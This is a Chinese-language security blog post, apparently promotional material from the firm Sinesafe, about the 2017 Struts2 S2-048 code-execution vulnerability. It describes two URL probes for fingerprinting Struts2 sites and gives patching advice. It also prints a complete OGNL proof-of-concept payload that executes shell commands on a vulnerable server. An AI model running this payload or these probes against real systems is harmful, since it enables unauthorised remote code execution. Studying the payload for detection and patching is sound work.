如何判断struts2开发的网站存在漏洞?

 
 
      2017年7月7号,struts2 048 爆出高危代码执行漏洞,众多struts2架构为基
 
础开发的网站、平台都中招,危害严重,尤其一些BC平台网站,以及金融平台网站,
 
都被入侵,服务器也遭受到攻击,许多用户数据被窃取,据SINE安全大体统计,BC行
 
业的网站百分之30都被黑。
 
 
如何判断是否是以struts2 s2-048开发的网站,SINE安全工程师有两种方案,这两种
 
判断struts2架构开发的网站方案,都有相应的要求,不能做到绝对化,也基本上可
 
以判断出是否含有struts2 048 网站漏洞。Sine安全公司是一家专注于:服务器安全
 
网站安全网站安全检测、网站漏洞修复,渗透测试,安全服务于一体的网络安全服
 
务提供商。
 

 
 
通常的判断是否是struts2漏洞有以下三种方案:
 
第一个方案、通过网站页面的回显错误消息来判断,页面不回显错误消息时则无效。
 
第二个方案通过网页后缀来判断,如.do .action,有可能是不准的,因为JBOSS系统也是以DO为后缀,其实 JBoss和tomcat不是一回事。
 
第三个方案判断 /struts/webconsole.html 是否存在来进行判断,需要 devMode 为 true。
 
 
根据以上三个方案,SINE网站安全检测公司统计出两个确实可行的漏洞检测方案:
 
方案一、
 
通过 struts2 CheckboxInterceptor函数:我们安全工程师在调试Struts2漏洞的过
 
程中找到的方案。本来是想找到一个百分之百漏洞通杀的方案,但是一路笑来,结果
 
是没有找到。本质上的意思:是配合 HTML 中的 checkbox 来使用的,当某个参数没
 
有被提交的时候,则认定这个 checkbox 值没有被选中。
 
 
struts2 漏洞的前提条件:需要有一个能够回显到网站页面上的字符串类型的参数。
 
我们目前碰到最多的地方就是各个网站上面的搜索功能,搜索功能往往会将 keyword
 
的参数值回显到网站前端上面去。Sine安全公司是一家专注于:服务器安全、网站安
 
全、网站安全检测、网站漏洞修复,渗透测试,安全服务于一体的网络安全服务提供商。
 
 
我们来看一下struts2 CheckboxInterceptor 的 intercept 方案的代码:如下图:
 
它会检查所有的参数,发现如果有参数名是 __checkbox_param 这种格式的,并且参
 
数中不存在param参数,则它会添加一个名为 param 的参数,并将其值设置false。
 
 
漏洞案例:
 
原始 URL: http://sinesafe.com/?keyword=xxx,且页面回显出了 xxx结果。
 
检测 URL: http://sinesafe.com/?__checkbox_keyword=xxx,如果发现回显变成
 
了false,则可以认定目标是基于 Struts2 开发的网站。
 
 
原理就是CheckboxInterceptor 发现了一个名为 __checkbox_keyword 的参数,但是
 
没有发现 keyword 参数,则它会添加一个 keyword 参数,并将其值设置为 false。
 
实例截图:
 

 
 
方案二、
 
通过 actionErrors。此方法最早应该是由 kxlzx 在好些年前提出来的。
 
要求是对应的 Action 需要继承自 ActionSupport 类。
 
利用方法:
 
如原始 URL 为 http://sinesafe.com/
 
则检测所用的 URL 为 http://sinesafe.com/?actionErrors=1111
 
如果返回的页面出现异常,则可以认定为目标是基于 Struts2 构建的。
 
异常包括但可能会出现以下几种特殊现象:
 
1、网站页面可能会直接出现 404 或者 500 等错误。
 
2、网站页面上输出了与业务有关错误消息,或者1111被回显到了网站前端的页面上。
 
3、网站页面的内容结构发生了明显的变化。Sine安全公司是一家专注于:服务器安全、
 
4、网站安全、网站安全检测、网站漏洞修复,渗透测试,安全服务于一体的网络安全服务
 
提供商。
 
5、网站页面发生了301重定向。
 
 
Struts2(S2-048)POC:
 
name=%{(#_=‘multipart/form-data‘).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container‘]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=‘id‘).(#iswin=(@java.lang.System@getProperty(‘os.name‘).toLowerCase().contains(‘win‘))).(#cmds=(#iswin?{‘cmd.exe‘,‘/c‘,#cmd}:{‘/bin/bash‘,‘-c‘,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
 
struts2 漏洞利用详情如下图:
 
struts2 漏洞修复方案如下:
 
1.不启用Struts2-struts1-plugin插件。
 
2.升级struts2的版本到最新Apache Struts 2.5.10.1版本。
 
3.始终使用资源键,而不是将原始消息传递给ActionMessage。
 
4.不使用Struts2目录下的showcase.war
 
如果对Struts2 漏洞修复不懂的话,建议找专业的网站安全公司来解决,国内也就Sinesafe和绿盟等安全公司比较专业.
 
 
分享: